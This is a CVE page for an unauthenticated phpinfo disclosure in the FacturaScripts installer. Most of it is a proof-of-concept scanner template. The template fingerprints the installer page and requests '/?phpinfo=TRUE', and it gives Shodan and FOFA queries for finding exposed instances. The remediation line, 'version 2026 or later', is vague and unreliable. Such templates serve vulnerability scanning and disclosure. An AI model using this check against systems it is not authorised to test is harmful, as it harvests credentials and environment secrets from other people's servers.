CVE-2026-42878: FacturaScripts - Unauthenticated phpinfo Disclosure

2026-08-26 FacturaScripts PoC Public

Description

Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.

PoC

id: CVE-2026-42878

info:
  name: FacturaScripts - Unauthenticated phpinfo Disclosure
  author: ChrisJr404
  severity: medium
  description: |
    Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.
  impact: |
    Remote attackers can access sensitive PHP configuration and environment variables, exposing credentials and secrets.
  remediation: |
    Update to version 2026 or later.
  reference:
    - https://github.com/advisories/GHSA-vrxf-vrc4-22p7
    - https://github.com/NeoRazorX/facturascripts/blob/master/Core/Controller/Installer.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42878
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-42878
    epss-score: 0.00552
    epss-percentile: 0.44726
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: facturascripts
    product: facturascripts
    shodan-query: html:"FacturaScripts installer"
    fofa-query: body="FacturaScripts installer"
  tags: cve,cve2026,facturascripts,phpinfo,exposure,disclosure,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, \"FacturaScripts installer\")"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/?phpinfo=TRUE"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(to_lower(body), \"phpinfo()</title>\", \"php version\")"
        condition: and
# digest: 4a0a00473045022100be388b586c2670a04f85339f6364a5c52af7b8774c54604681d3c9709ce1c8c802206b0e4360d3019e385f734027fc5005f90380fa07cfc9298ed0b88b092c42ee4a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities